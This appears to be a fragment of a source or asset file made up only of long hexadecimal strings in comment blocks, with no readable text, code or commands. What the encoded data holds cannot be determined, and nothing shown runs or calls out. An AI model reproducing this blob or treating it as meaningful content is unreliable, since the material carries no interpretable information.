7b6a9f6edbf50fc1676da92225bf160ba6132155537965800f358d9083097d444cf8bedade839522032b85ac70d34a92a45aa726e5da61693cb7d09915d0f4cab26daaac58e4882ef4c067722af6fb57aa5fb2297ccf9635967271a04d5008b618bbe004d3ceea624ad5c32c25bec28af7d2df3dfc620eb8e4484ede0be437ad375dd46abef4a89f8a51d37d5af4953859c2eb1211df20fb5c2865ddb70a65c054cc821809d19382a6b2e4113ec068669912f749e32aa4ccbc8d45f20d0e2e81d124136a7ce00070e6c57abab71a2a8a793237eeb4f33859f8f9e124420393c6a84fe773ee4329cc99838223024acff6fb7f0235606089283a98745db5f029c5b560d2b32a082e2a0700841d494c8fbf8d7a9d658a07fca5bcacca232aa133838b87a495faa39fe2754ba7e2dae361ec6efd64fc2cd9d2357b10cb458a2dbfb72ae660d22a8997d258965aa7c85343e086a1723177529620556b2d14963419ef3c602bd403a705b83d9814715c0b7fa9d3ad3953dd5e964dc8c5df25c43f43d31ddef8ad953650254a862e491ebf197a02560527ba7613e0a3753467d0cd7657e815f4319018aa6390d002733f72a58bd72fbf9db5a3ce05eea7690abd369cb3b472f524546183fdd8703b5ce09cd07a41e667efb1902302539ea33f44447fac145cd50f016bf935e53c4afa2501bbb7206b227df396f1532e780fb946e265acd13cd5c2930e76c34f282cf79016c43103a1c7970a77385dd4b8505abd574d58ffff987712a0ee194fa1cd084c311a27f38e78937e8f69801a8243dbb80b298065edc3fe528831d9187074845d193b4abb67fff3ec1019e8d8e8d8e5d5c25da9a589d8448bb37bb812b15e4c649643846943ee3b3e1bc4e18b7ab7d5d5199b967f59fef67ad6fc03e2a8a624611620d86c5603d1fc61e239180e6af04d644320f0319a2ebe959cf900221f2e9d12cf2c2444a9d66ee404b5154858da62d179f0db671975ba944b580b84f4dfbfc26998bd74c3c039253369b3bfc0d951489772297e966560a97350479c0d4bf5206ad78c530bcc492a64b5a659a05ab255685fa614751d594c0d4e58748cace6653ba5384a8895dc9e4d14f552be3ae935881582114828205f7396147c03c60b05e396dda2f728d02d915278250837d87059265bdcc6627cf59f2349a762c823dd7391ae47bfb9003b0e8b9ffcde31e290f63df9adf1be2accc5ef724e33ca95729fd2aa64a1061791a960394607d1df88b9115fb30625870c03f64677d376d9842b64870b72d1b2a90e1ccec01096c8be9367d02da6993dd51ea7a3cb2787debb89cfddfc16209bff33e418f5750dab281459c9f4271fe8d9e2ae549d032e26a455eb426839cbf69ee0bcdfa64b18e48b6ea3317eeadbce03bceb3789da14d29d63e034c5b1e845af2821dceb088f8a59dff9c618c21ea4ef2a09bec4d5b9b7b7aa4076a0de9338110a7293f4e618ee1e3e67d40bd8ce9c517ffe949ea05955022a63eea760ce9868b3c69af3ed58fdc7b2cef95e910b4ccf1a8117b0146c30b238356a3160ceb16ded2cb153c68dc42bd8c9dd47e5a442c3682641bfbaa91aea2e872fa0fc5e5d8d5da40a4f18899d0dc062aca75e8c43c8e4ef8707c74f6e83a9d984a04cef795728c1037b577be40d666a0e0d0d8c7bd57284f98e38ad3fcb47131b6103dc5055e1a2f8184427b6febe82cbccaab840c92912df774c6444c04451e109925718b79cad4b6ef9f40788d6c73c9a9d6306ddf48eddd465a34f80b7a0b16ffe3a348a858b33ceccddbdd4aa076f181d0ff7b2417c83c5eeb95340c33aa009a7d9b34b0ab6fac659eec6f4149213ad4a8a840a59292e297ea73b059fc47ab521500775baf687e32726a56719b219ab85e222a311d1ee3f2ad912b37c517814cc3342825684816c55ba7e246a2a348f4db8c46bf511457a8fddada81c4a36846900c9c0c72ed3df648802025f0b8dcd0970f*/
/*665c4061ade27e5478c1569598d02b3cf10d179220ce3aefda567ee5cbb0e381b27209c04b86e724aa6230ab2bb10dd3c9c543eac7b8f79bfe5c08f79aac2b4dfbbed8bbf6d91f214d71e47a1de9114a418447ced373e8a33c781d5cc99f471f16f4dadb899709c08023381148b52a120c506868783c9e062ffbf3c36b31daaf9631efac88606baa28c5a2a5906c86d7f839b48ed3accd07465f8c50671b9300c9cf24e12dc5875c163099fb13aa2f8a9a2196972c54508a23743d3e81364d947b90859f3e578a379b2b0c343d7a70c08bac4ed0dd0985bfffb10f665f2cc502e24e368e73a0f84a0d65d29f08e48dad5dc60c8ca0577ea48361df212755f0b6b8ceab2a5d910c958e4b968340584bcbd7b2070ccbd315e2e29c2fb53ed2aea2dca04e3dc7e4f23561ad810814b4aacfc45410a97dddd3951c0165e2985235a971063252dd0e21882b3be88199d2c61c1596db7a5ff991e18fa69509e9866aa26d47ee44764729b4ef43f47f2be84195226bd2d5155e9799e389e1b4b7622261a1431fa3ad85162145186876eb920827f49354def1dd8e554e4ea27bcd84b36ca46f006c8c90a0d88ebe9f3188d6dc2755791dd8dccd77ad6b9bc8f81fba5780b444f9c415203198b5b896e0a7fae501e0d398130996c429f6c5c46e8d7df57d6ef8f77796d5da059073d2deb4c34516f8929a8c44c58d61d2321ff3acea07832149a2ea93a3fcdd05aacefab3469502c3862e5890228e18fdfc3330924e85b6c2d0a44d2b5d3f54e8e47ee6b447944a2a33093cd974f4ee15650d6a6c08bd5d58f40251ef02f10f55315a8b145313f4c0631a9cf26e6462363b1079d8e56ca39b2a32a1d5244c281e86e95bd00acc13fcedc3da60f7ec95fa00d9652d5ee209d5b47af8a15af9e3d37920ec277db3e0fa1810747c4a3d295b8aa70447cdf67cea971cffbce3d89028e4761895aae3248fa46a40a8f7b0c497b6d14c788d653a438013439309dffab84c627f2478960d4edf83896f7c5105db2744381e13524b7f86cd61d88204eea2773a66f82441931007b1544cf89cac9a3e31941259582b2818402e2314761cb15141c69bb9f3261a2884315de5dfc4d8c05f6bc70949add6f5c46e59cbedf10187ac4af59e94d87eca9d07faf239b8e284a7ee1fb32ba7c9f1729542e893f0a95c1d3a4cd4814e05dbf8d5fedd8caf0b85de0ed9a01a790da5deb346ec8cdb593757f8c4b0b283f7118ed3dd1067d4d9dd469a3100fc19c0e7fdc2c05c9f79d7405f94a627f71ed83335a84a42420832d11b433ccadba2df3f0f296e7e2d9cca61c634b55a693ebdd38e4e7e40f6a9919fb84b130caa4c9ed24c8cf69d3eda9676059600b169cff6e2ecacee301af5dbc5eb84d3ad1a23ca22258b41ed686d6b2d2589247f18545c4e1487fe41e9fe67bb5f97f8797fe36d85ae647b69a576aeee5fa5a526f4450c8094218508ecc6c38ba4f14c0ab877eb11895a79ddb1922bbc40c127887896ee660fa3acb1b8650cc3203a04a08513bcb4be3cfea04dd1ae91b44d53e394e2a65359a040aa6d02d52e06f2677c90275ac0ebc7bf0a69276736db6155f7d8f419b23e0553e98915218e3d7d25ce11c5526758906cebdc2337cd647713cd311111b31d1be2ed4195038e930c9e3a9420c5150d59202d3fd487b7b8520add7dd0897808a217c40fe73728d346bfc622ab9209ed2bfaa2fad5794baba84bbc7f4cc6425e250bc0e0d3d8225cfb6999f6b30fd702b977d9c198430dc25ed98ca81973e45a37a24c91641e029a26dae30086ea5641687f107af23ae88fcebd7e83b2ffd89482ebc5fc853ee2dc99035da97e231e74cc7757b47fc8e33d96c5d5644717424bc368ee90cad18ff2db45766098d450bfe1961e7a7781c3dbd86cd79ba827c70100441bd4bc2706c531250960700227fcd3d005fb062f7428aff87b8031f9ea483f77fcc4e21986d40225269d918d42f33fd7d1d540ab4a214eccced380ba844e3b4e89b00ab1be28af403b61eacbf69ab33b939fe2083b87051249ff0e222619e050dbd7c1e0b1a9689808c70cb16e27586223d9dbc658aaa139f55788203b5c32af0869c313ab2117e5e222cebaaab9f10dfff2d4c8a662810f314bbe42b334b1dbf886724d51d2ae2e640d3c55bfd66beccb0cc6cab4f7457bafe706953c73c2342d5400e5313c789a5f2fd352e13e0ff1819d939d18ddf34c83c83a045bbdacf2f75c541b936957c3d18c91dd8c8a19d172ed0cbf49e83ad430742c5eb036284367af8c79c6bdd496a369788abb7ac38e9f444c003f73dd8f01b170dbc982144a4190425b8d3caee17401433777314e5b68115561604c8d566a93f4c3683920cae490cc164d92ad943bd196f50460ffd57df4a3225dc6b4f23698c8adec801225f0b647c797547aa5b3cc7deb1e611efd76d07d912ea750deb05e23cdb9bf91665f97ed4308bfb869a3cfa8ec9c8c43da478a6faec5806b494daf56ed899caa7764201d848c1d26fcdd482d60eaad6addfc485bceeb3d9cd7d2fc8fb832e6cac015b106d1e5f31b4fb98f5bf1d5a2f9ed64f3c4f798d19ccfcd45d457b0f29cef1575f6e4966c992162e549fbc84103ef8eaf63108960e739c266f789900cbc2fa892193fdb6cb1cd408bda80b34bc9d88f064a4ee659864c0d19d18ceb067e9210b7410d5c8891c60fb9a66e654200142050e80c0313b9505b1f7882a06c2164cfce4b86892dfb1cbdc7e30292835e8ec94a2860ff04babd2081fc355a672c93c1e45426b23166ce637e741ab652b62371663cbc5ab2c128f77fcc*/
/*1c10e69047a3ca25a8f9ef2781018d7de1e547c3b6d42ca5312b6b52a06b7d91978b437ab817a6017e16df8e3ec7a0964e33a124a60ce03d573729cc0b32870428321e30ed078ff0d4afb90307020343821b4d6fd4ab925fb02bb14a4f3792604d081795fc7cce57c8f5865e97a62042445a1fef3420d3d3bf69662caa161c7144012a30630efb1b5300cdecb291ec7a5f05771009dfd909e257010a15ecc27e01adc6619b7e2b1da9882ed97bb0fb6d6aaa7413991f13154f795aa95e916afb05baa2f022187dd37287f762eacce01ca53e8e6223794c1fcb45e05ef4b05ed313a184b76bfee691531523211499a0ee1fb3e999e9648fc9f94f107acaeb0480cbcb01094f92b4a323015b8cd2e2e8f85bd4642a7aba9205add386c06a54718249e91b96f6ad0895ced457ce099842f1ee8af6c066aabefc3dac8d7b9f37b642d0f56c3eebe40f872a7683520115c2997c9400c5dcb75ae80ba62f54072eaa24118e261c321332e556080c05a515b51d7315836773f0f3eb2f2303c6e500397dafd7953c3b002da8ef51d29bad6a7374e8f40a67ba066a9adfd3f0ff1747e7a650f93ff572c45ceda70e05d07569035a602db41a77797c8cdb4ad25e6db5300a5d0035214a4aaff252b53aacdf6bbe3177e91b66967fe1a9f0f6ea169f170b09e4fba34e540f894b3811a521e33d0195c512186aa1b8e4a78daf2e41a2bc83185b3b88d2fd34f8ff39d9ed5eee4fbab6f7ee139f0fe288ff4c6bda09114b52e76e5d2b1f34cc2fcebb3544149227a851607bd3b14038738332999c4c7ac14e839cd9190169203de3a0112aaa9f7b363972c4ea3cdc3b95b5070211a562eb0874ca19802883976ea5c1253abff43b3c2651b371ad1f54a1b9ec2352b9570b170ab9254cd6e8ba46836b164ceea83bdb9ce2f8bfabd120bdf5877a8df12e124ab5957e25913e59b8066d26ed559f1612eefeb5737f1e53e2db65879952b06ccffd7b4279994f2853f2fcd377ecafb85c45738d7333dc8e3bd4fe7117d6ef59db6be6e0f538316b7092c2732329e28d2e29a8c5b44eb534c512a73a61badbeac1f28559594a74b7b979aa6875569aad771a50d5963f6a4016f6c2beccaf2dc319489152eac2bbb8c0ef200144a5b90e312ab52259c8ed5e0944166620926faa23fb87ae5c888c4c4c52c5b815fc059c7ad0a4c544dae65f4ab19fc15b18cd339cf81675a37aa972f309a9f5087f4f2160ecefbe2a3e7f69e3344ad0ab4f4906257dba23121d9ddd7a2c3c7396e05f13e65b19a8ee4407bb3eb799eb2685e6297e658928dc7a29a8f228599b3b5697a5d05253063b46c83c836108624144c6c4cfb8c3c8b4fb8b9bfcdb14b7883b83a0e7738d8beda4bdd9dcfe2390f0287650a638f9cf8e68491b01599d920bd5fe56ff1b11a3ec203ff42c8f12578a3e75794b849f3bf73a93236a3c86d2fb85a11b458e5567ef1d7e671644da16e8e3003c485ab61bb04a5247b4828ba2d5125fe3cd4198924dcf61de66590a2f15abe5098b29e7d25b22f5a8cc36f3f7a8c634d1e57ee8059c4c794657d29fffc55ae7b2e5c2c5357ec2332726b3d12c72d027336e6c1211bb7d99e6e050e44afdaf9111c8b314b7a92a019240c993df44287c0d37820da3e31a98bda6fe5f02a22a19749ef34acebc4074406b426607c76cb351883c6544d3568735e457775efe3c864dea128d4bc129bddce33f381125bdef6788a3d3d5ec82075cad4c6a424c1b0f94062fcfadcab94d53f12e6798810ce588cf5706102430860c6c489484b5c42407abad2295276ac383822fc2494aeb3b7dc38a76ba7fd01972bc3aee27799f8a7566a50c05488ee260745b736c354211b2ee498aab1ab56c90b9c2d4d736d57daf8eb099b1d9ff7716cb64014560f0d525ae81b5914f791413de787eb9605e5a165c1affa491de277281972bfbd6da95eb7050537b58a8fc51d8db3b80caff481cb4b498d734a8af66b87df22acb05e3bc57b2ecebe4b63f5914ea8bd3e805bae55db897a5f9c0bd1a7763b71214634e6d33c8b21fc2959d383eea58485a9f718718a2b23c337d533a48cbb5d87d7a253ecb62d768e9e0a02ff7a0714f58ac0b66f222c38b77ae29e248b64731cfb26d18379d43d96258b4caa1ec960d4c9079892cb0ecf4546527544c26dfa6b1fe2c0f5f2e016c4c555718075a5cee984057d037a7dc6d8316f7754b78e27b3c63cd9af6282a344394bc5fd2e9fda454486680bc940ca83f03a6ca45698d781b9f90296d227f830e0336dfc9d8d4e6627db355ea40a8f4022bf2a27904f4d541f784c649c855091b68ff83960d65fc26daba4c085d87b0a13ed246bf182b668b9c1972626595b76f66fec875ab6729b05b0591d1a6ed2a86829afc7eea99da8220ccd55b2e2a3e33a1a39c2c4fa38ccd17c73dfb7f5009fdbad67940bdef19139b26a1dc7d39ec75caca65e2bbb2f6716450d6a2cc259e84384a0e618dbf1883ccb2c9ad09347e0c0f9a03950b9df3bac8c46e81d79718a8599732224ebf0b8fb8df3d14b224f685a6ec056bbbd22dc5457b93fef509c39430379e24bbc943e225b9ea631220daaba21da9f9d0b9eee50fced57c6f30f7034a1877e0899eb1f4a890752815be72ffc6fbf5817d04cefbb699468bfa24bf763fe089a764b128170c1007c33e0f9102e3fe9494095357fbcc50391a6f20d9bf361940a2dfb036e00dfadc6369f2efabd311f82bf164c57d20c4cf983d14c6a4740551ffdef40f64fe905cc9ef0db316e9d5eacc323af8c65095895cd4d37c93d7086790b1e8a311e81587a8bf*/
/*27123977d826793fe97bfb045c740533bfc32af857e64d0d64b1d73fb267f6d919b0845896702b7369a40652bd6cbee24cd469b65268ac38ea275df86c5d378fffcf87dd852419ea4867ec4a9441acaed75bb628eb13c2b8d599035e367b75c643e3400836c2d07e280812e6636ce80752933969cd3296e19ef9bf6c8a9d804cf32ee9855daec6f851e71bbcdcf7467efd64136904e5dd5645f33910ea5dd1a1c52d067e36dab90614bf764779f22d5618b9c05fcdfc2095822edc038fa333d770f3cde4a3b1891f20b7c0227a79dc9a0a317641ec53df8d01e052428a427ba923a9f047221be3a133e2ec1cd8ebbfc731c8f81526390729ba52c2d3bce408dba2e2485ebfed5ea114634ed1cb32c46d57e8fe3dcf4e970f060c21d4fab909e8ccbe7b81e7b8eaaa61c96de87a8ca44ec5002cf8db00c5ba618d9b74d1ef8c4121232c760843ead1de5302162f5e86b547126bec0b04f9f95adff2ad1dece4b8012a6b4dec1c9270f1941df338e6e3bf36555e9534678a61bc4bebd9b77cc0cb72fae6052cf3d21c353ad6c494bb30b1796e720d6860a347cede48fb616712853d7a85118201104c76d48fe74d513fb4de52d21b9832baa3858eb154459739fb1096059287dccd16b1244aceddf4f2e9ca60b5663313e2d3fd2978e256896d99ad91af9ce18257f61235223197f0cd051881530acc5b53f8292a5ee1d75809e3483286e1d4f800aec69a3cd788dbbc549c97c1622f9df18ac199957d1c084636cce6ef1dbafc1435a9dfd826b4dee6e7f0b204ee14007fde8e6efb6140a2a58c31aba46ca19b8265468773a616a9a484313c689e9ab1dfbc0e684e645f19fc2278c69dfff2fb2169b5c4a4ef56d783cbfafd8bab39d882b8cc4ef72666f54aad692a1010c5748aec18ed5fa0e6835b070159dea02997c9c2294f434d5e27e6d7ce942f1431f9f8aee4a57d79f9bd6df3c44976d0190909a54abbaa454279dc60e2ec384999113acf2229dd60e514affcc5b2cae717604ce3a4f198eb3d67234a3b5de99293d9af23bb3632680a5b741be11f7dda1151a6b151efd1664b818a25e53d1b4dfe12e49ee9fe4199b9c81e3852ec106894a5eb9f63fbab9dcf1046fb1a5f1b881733d352fef07e7e38d291805857fbc0c51274ef73f22b90788c22650e1522324859fec87cced18f6fd0f6626cf675a4cbf29e8ff548e89f8054e6db79619833cb71cdeeb7a3f75cb584c4949250c552351f624a058b18193163192213c7c449728b1ae9bc8a862f2f970e7dbd618ac1c4b96af04c6fceb74a884efa7953abd65c13d616680d1c0c31e50384234b7756b7f0d71c9a79f3948faba99d0b748d95c55663fb24086816cf731b2eed1a846071062130808bf91c136e2fbf4eb0436e27d652d61f67691517e2a85af4e52ae4b0203a579996fe5b9250d97ec0c1a81e6447b03eff42ef6ed6a5c8d062ee62d40826cc5a9839c5464bf506e31028e7c0099eb3f49830e3075b0ec1ce86803e0d61a1c9c2787ce8b154c0c14621dc3d4bafddc9e594c99130bacbc1726c6f6c2caded5ba072919e311f607f0ab7e3e7d07dc1a0fd02ebeacc0a8c30a92b49b2045aaca73c532cd86ed79e37e92d8582bcb192c6476617df23154c6ded79e3917bee589d818188c01c1c2b11f288caea33838a79c9e4e38494048884692025d5102e87775832992e32b767ad172d71792c5e46977218d0a35dadc3e8bfa4bd9f62d7f9d3556514d8070c99ede9d16cbe2704d960fbf858fb66f779cd06aa37e686d523753699ca7239e15d04af16f383d09c2297fbad55089ee6548ae47ab42045c7f0975b055eb652aa9d33dd28a0cd1bece0c36e855f493667845b3157705867b0eb0952436bed4f2d5ba1a60059790ada33f35721c42c1ff017ffa1c7e335854d31bd6e718e4b65bd4e9fa596cd9256c3b91614783197ceb96690286f1615ad77e7fb96dc533c584865b9c5f92215cb71fa6e548a656fb7e6d3eaa78b1223e4fe8db4cb7d9329e0c7d3f36185eb759e57ef29c705f802bc3f8b7f4d0040de3e8edf9d55b2ca057f9d504ad06ac24162fd19d5c6cd12039a927bc56405705552fec899b79bc6fec8f8bb12314f04e6d94bc0bb0ea6951a4a10a05bcea1c03c8c8b09815a1643c964edec898b7f74288bee6416aa4b0d98422b7dd1436854f1257ef5ee2b158564433c84b6fa050ba87714774a65da56456d84f9b18f0de711f5feba582fdd6aacf5b3e4a4e74f87e58f2162b0753a26e097ac9856d2f8efc6b08c308ef8a2a9558bf6d092f6260f542aedc9e317ea2c95c17641462f8dfd9fce07e9f755f0c866ca2e96ee3dea54180ba6290980cd10c72d5af92cd4888babc23ce9c8698d5c444d25aed2f57548fbc44bf81c77369f31447b2563ba6cb28f8ef0e8c9bf3de2080313aa86594184611e1821d107c4005bb3d4fa4c81b9a005974c14e8ccbf111c7b4bd35ac6de295b816fb7f9538d80da157db24f17e390bd1b1e1f65207878376118b328dbbcb1214c3689722f00df978b933a8d1faece8c7e0eb351e9f9f3a6b166d77881284a8c1624baac72cea50b4b97455c64dbeb2808d8b8e513333175e36081104f849c8ffd19ffc663e7d8ec2e43a08d65dd647a6f0b5ccb1e04571510a5ce93df36e05d38c78bcf4e680ef0f9c7a04557122226bed51cb105d456986b4ff3e5e0b59daab8003cd0bf797426a73248a9d35433e687da16613dc4ac51236984ce8dee7ff79223e89d3f3b61b88477d13a0f8a2d9959aedb38b9a8fdc6d34d08f41bc67389c67e4baeaf9aed60aeededb083*/
/*d23596f0ceb70f69d4d2e05d382ae41b606e7ad85ea24cb11a6d3b6a14bb020fc3edef19ec41cee9e6a1ea1b3647e317853bc656a7a2e6c660c987789c1532db38a6cec06232a25d3e88ffe02b0f072fdcd70d1013d38027cd3d43fb78fc1dd74e4c21ce8e51bec09cab13628351b763c8d542a3688ad0890522f8f249e85a71ace5c7942ed2bab7251d2436c0018b11136dfd135d4790209e5a43acc1531e24116bde8cc6d9a33924e90b367ac29680ecae51e02b52012e4e2d62ee1b8bdf547419b871e3023024fbecf26c01b4de3af2b4ee03e3a040a91143032dc0440f028eb63f853b6b944815e7a7de7466fb83346857886a4de0cafdcfbf93ac83c3a9cf32505cdd4854f710db69d802b93ea3c12f8717a0fcb49510e2b49eabf2def28c363bc9ca4cb636b63552e657fb14d7761b7c20fa7fdb1b973c3bcb55eed5d3210369962b60874f45a9a10e1fc6e6702bf22cac334448822537cff734959067594f0e4e48ab2bda8863a7aff7c6ae028e6c35642f9dba4c8b1cc7d1c2e41a57705844de7e3bce36068b62ac27febdb38e3c96d3e4466017c9b7be479aac1baf6498e533986fc20ebc57d30a319fece39ccc837706a0b4f99e6dfed65eefe0fd966132b637bbd4a20f937a77743d157b55f747d231dee5b2fa4f56dda68f41b75adf31dbf8e106e7ff6c979ba36015dfd5f4c82465248b9d01eb2e89f6e196004511984a827034ef127d6d0ed3191a6b1aba86439873b3a99c400b21dc0fb45b2a80d204bd064aab0e6dad2f9e4c29fa4fa082fa0cab1e9b6b7b43b94ca8b52b6287c6f6c9f435f3c03ea3d1d2e61b80e8168352009dcaf23b6970de44cd6a46cac0bb7d4dc712719d760ea3413a8911e62620fd10ed984e8324b604f90e171068acf7e7d76cbf1ce36d3902a81134eae810fcffc9a751cffe1c136a1ffe25270efb619b5418dde22876879ba2ea261f8eda4b25a882e75a9744938a45bd8e188c9ff6058349b2620e9e0a5f9bd3c0c293a61f85765234d93ebda0e0c7069e5b0e8df5bf5514faf4710e4741c9d74129d6801fd004cd02d471c21cad3ae538d056dc3e5ba8a20abd35a3cbb44e199166076aa96882c2fbb151d9f178919fbabe8de101dd231bfc4b8e4ebcf95e582da1c34414e628fc9191d245cbcd525234587cd11eda0b109685064bf48a17d85a24b0d9eb4fac8f9ae885b1220f7d5a5de4c9832f5918adc7aef954c54c43fd4487d056389dbca932eebb04ae88c22e46dea4229a409f843b3bcc262bb3401e63163ce304481e96e8b021e99f15583f15fbdbbd28a613fdb2faf3cd7eb409df85f66209aff7d19339956548fe7de87046cadce8a18e2d443503a4505ea030645645fc285251af916ab34e4737625026e9841d8a9aca554956c996adf66f1c6e9b163157d2774a69d35976c8e84748b0219259267368973266bbba4a5ed9907ff6cf68256fdb76a8539def219c0b9cf80e1ffda4a5ce3e507e5f4b8e2d8964301af3d0864b3bb88519d251d0442fddd1851ae78f74ea9d00a0a58cbbf00a5d5dd1667c7e6c02179c73150eee3ffcb71dafef0a3aa0d7371b92347c0969fd86558b5dbb92d9af217e8c103e59c0c4ed14431314379845ad12ec01df6a087bacd5ac35d94b860902778e41cdfa783bbf1383006f4116bc37e1422d137757463bd78df0818b2ef3f2721cced9606c3b974a24d32c34390c4dd6f8225451db69a16f98de6ff5909ea3a1d158b71948857fe7415fc4afab28b645c55d8e271a38fdf65da5131dec9fdee783252219515611fdadbd45a3c1a74fbd5e091b04671d87382f5100597752d1e75f471c5c7628f416adb28a8842f1014ff60684d1d411e09486759d87fc33da20c33540289bca1471a6d100746de22d88555f428c6baaf7bbeb37c022dee1075e272fdd7488b468c8b0357852500f96388288d453422b1036859396e2f7ff906700a7f08237c076e87da266c52efa5fc03fe7aa36164898439d866ddd786194584f758d95bd5a3826a28c54f2109fcb20a3b1bc0411997a0ea7913a6e30ed5db0bfa3cb9e54260d77accf1a0a1c994a872cb8dd47d63780d54bb6efcf76094b6ebba74934b6046c302cef38ece600f0671de8ba3bd3104d16d5cab34f01577ca49338ca53f743c0eb004ea3dfbd30ab5fa5ca99a00860f1e1179fc3af745eed6551e7447401fa2b388507491e673b54465cd6d52f6c94ed7ca441af7661fb106747d0e452a0228dfd2ba4e9fecf885344d1be12ee0befca2c8d637e9507708252329d45c5b6a879a10e434b2ce4f9c5e7e9c97ab7e9df22b9eb77a39973a25d6e1672de6ce796da6b252dd7cb21dbe2cc8443326f2cadef1ba3fa859a60a18827824b74d5cf4aa228af3ee79936b9609e4ad37db08118765505da8a18fcbf5fd2b40c00136b6920b076a249cd1ac7c655945c3ee0835504a50ea20f58c736d7fc1cc5a3acaeda6d06a5e1ddbdc3ee3c5b70e7d7fac2b0189430b2332913b540e36b7b682c2754aada6271ab1ade3b5bc8ee58bedb756082bb26ed4e17308481dfbb22a941e3fe5c065f1da5ff0819868cd97bc319247a285101a103a38feadcb3a3430a166e71f5e6bb6bdef5043051415ae577e0f73e343a30f6c46fa347fb876c1818820fac5b262a78ec1e583755da5133835ff5834391ae409f2901fd266c3b672428b71149565b1176663970155438a60f83bb25092020f1e0581b3686cda0d2118c3bdfca687bb668fddcf49892de0218259b251e2bc228215891f02a428312cbf2a5d5b3a00915107c873b37eebfee8ba12ea94ba26ac0*/
/*41024fdc69daa7c5f6ca3a380089a824215b569b4303b5796b7205069d6b9c6bcdd6e506c73300ad8eba866a7196c4d5fcab999592053442583cb789b5366becb93e64537ea8eb00ea57fb891f68e5082ecbb9b0958a2475c834d799dcd1b1f0f9384509368c32b56ceafcff764c302d3a6e29206b0253abd7ad54e08120157e9698c03f5158838777fd1ab24112e2c5e376223723f951cb839a4756c616536a2d61dfe10c4e36f09beaa7599d967cbaf2873f60310a8d91f3ce94c64e173615fef5a1e9ec35dff463bcf86032befe09ed7bb9565ee9d327bf7134aa4fd3a30c1ff3e2107106953f224bf69cc5da3e275eb8fe86fd800034ab8ebdcc9b6afc3e639dda22b5a6bf23f71cb4369454dcb41dc6897beee5e032377a4fe61c7da138ddf7d4c2e2e4ff6179955b1d4865108ba1b2da3f7b613266bc28895dfd803c551a47cd72d525ff1eaf8f58866c04a5c8fe751c37d941898550b2f9fc03e05a31fb8a7e4a93baed9b162a33966df8757c91db27bcfbc7f5c7faa8d6904a934d13e6104c3e38c7c3997fbb762cd52b99b77d246cbbbfd957fd2679fc86b5c9d2b63bfcebdb3b2430235d4d63771064244ea50f3b0eae52f159d89f6d4264c3e16ad23d9cc8295d296e345bdeb176f7a84c6d4b548ceebb2a611fe3e3ebbb70722a5846ab0cab8f7b8093a3c734cfc71fa6026a3102675cc422b23911b49dd52caa4d3016311e6a236f9890a89961ce280eca1b84105e41063edf150830884267b83908fde556e3fbd9422f8a43402bf4205fd0445a5ffe8cf255a12d4897f33f65cd3ea4f81ef4e6c4ddbd3046644985c331e3a0e8638d07f734f4aede59bc0056a1757fed24a7dec91c902f36abfa288f545671aa868ba4071abca7fa3ece8f8d0e7a8059aaa863a030db21a0968088fd3fdc0e3c912eb334a6720bcafec6d55c025d32f8b7ce84bfcbffc5f3fa8bf37e017bf9a381ea8e88302ba146886472c96ed621899dc55281e70ebbd40454a17a9954590654d810fe6895f373e1cad0230c0da28a3e5ebda9be5af068896064735463cd32d4f464cdad7e0d2afef2f84c52a8449a1845090ef7856f41d8e7a98c14e50ebec41586b177ac87a0de48b64add253299b49586ca19532dd0a9edee80264fefce2d533b0c5101433ce1dfafc9f6197be9e1c42f5e5bd0714a20002500c60f9ca87b2288a13886a5238e1e9ea2a03671267c7a7ac12149d9f853cc9a1bbf91becdfd127fa45a79dc305fabeff18a9d472f5a69caa369e6d7ae66014252cc4337ecf123061c4d5c130a5d91495e1deaec81e07cc7fa09805e9cbce33751208694dcd8c5d8bd9fb65eac9aa4043a64be33ecaad51fd80b63c2f04a3592201fc5245ac694eb0f42e3bab9cdad0f76249513ba81521bddf48c8dc2e150f153490642d5a27cd00930c817bc351cdb48b3a111e8e7260e9d33d94b8ad6962528f6cca41e5502e9cb969325585bd94e733e42ee7d0178efabfbfcff64dcdc8f6838d7de4e703381e6b6edbc0e3be0d630af6ad196813ab0a8877cea2ed61c6d2fe767c57a7022a1f4aa245678131a65abec64217050e4655a20dd6852c4f43470f3e81f3c6382c4585859955ae0d925d0d1065c5cf2f3adb39544fafee5ed490cb0b8843b8c63a4a69afcb3996bc2a420f41ea626cbe62cbe26d8745220e6a4d8024404b44446405418846f600846419d56c07fc0d8b8aefef3c72f3b71d41187d4bbe209acdda01d386c69789f97ca00e69ccd7d5f8fe019798f65bbb757ba009fa733c0129971d1f98e4afbf95a296e32dc81d4ce99c179e4a9652f5975ce64dd7f3bf25bdbbec9caf14ea29685b492ede295a9b6ad1aeb6b1456c5203a660ff3e904d01008097130598f95e1b62efc4c071c0cd0fa1c9e1c6a9484ebea03e55ac2a7bffd562e6b19ba8f0b9d221e31fc36f64a8ed58b7125ab5b494d9f4bbe95d758423e5cbc796cebc2fcacb6768c0a3dcb439e3ed930bb1d5835567866bd7f87b492a242dccfbb08fab21a7f13176f71f2ff4c9519a1cfdf08d3839070a84067e8ef483001d226e3a4458f8abc80840aa9b64923646b665637f5b961c7d256b250cd6344dd0bf47b73cb551976da7cfbc2e8d81a838b9f5c6d8ae62f385ec59c7af10f13dfe29ca4cd8017c3e6427676a0fcfcf3088f983b602a25b46aaf136a87fbd7c3f65030e9352dc4dd1e79fd89f6dd8658a692540e64a3b7c617d58aa659182ece3e9da92d5a2cc5a4d155639f7dfa8a8239801e3dd95ffb69aed89ef38e6b65d0405d858ca09fd8dbc9fde497c35a245f5dc2906902be9aebd371f07daa8d11c5f759597ece00d9df66719464d55b9f107a231e28a3051f4ba9fed4e24610df2e2407fcc08157c6fe09a57f6c661380a2931b9651f028d43e21025d54301954e01ea43ad8877a6d362de45bad8f90b23809344df8d9b464b01f5f40c5d1daaa59ad558e19967cbc4f1d43b3570eaca561ab6d98b5841cf70372224439e1377edc8fe8ecf1ed944021cdec35a3627eaabd20f908b8185a270f2497468ce54bb5c39cfc7535973dda223d19876e9bb731654f0f4356c1f30ddbf4a26ef1f3d322c96f6434c0c1afee64ebccafc04521b017d567c0ded08b4b2cbdbd1a71cb86bace7f09fb2b505310415f6a7c1e25dbe84e2c575d87850999efa41f86f21da053e4700bf59e1da4c7f1c8536cc2fb11ec4daba4a5fe82365ffa58f0b1d9062e49ace28389ffc02c1b8e5506cbf0833480fe97d5926f748555c4c611492e97ba8b962db1c16ae14b182b82b921562481185cc02e4d42c1d4abf09ec1*/
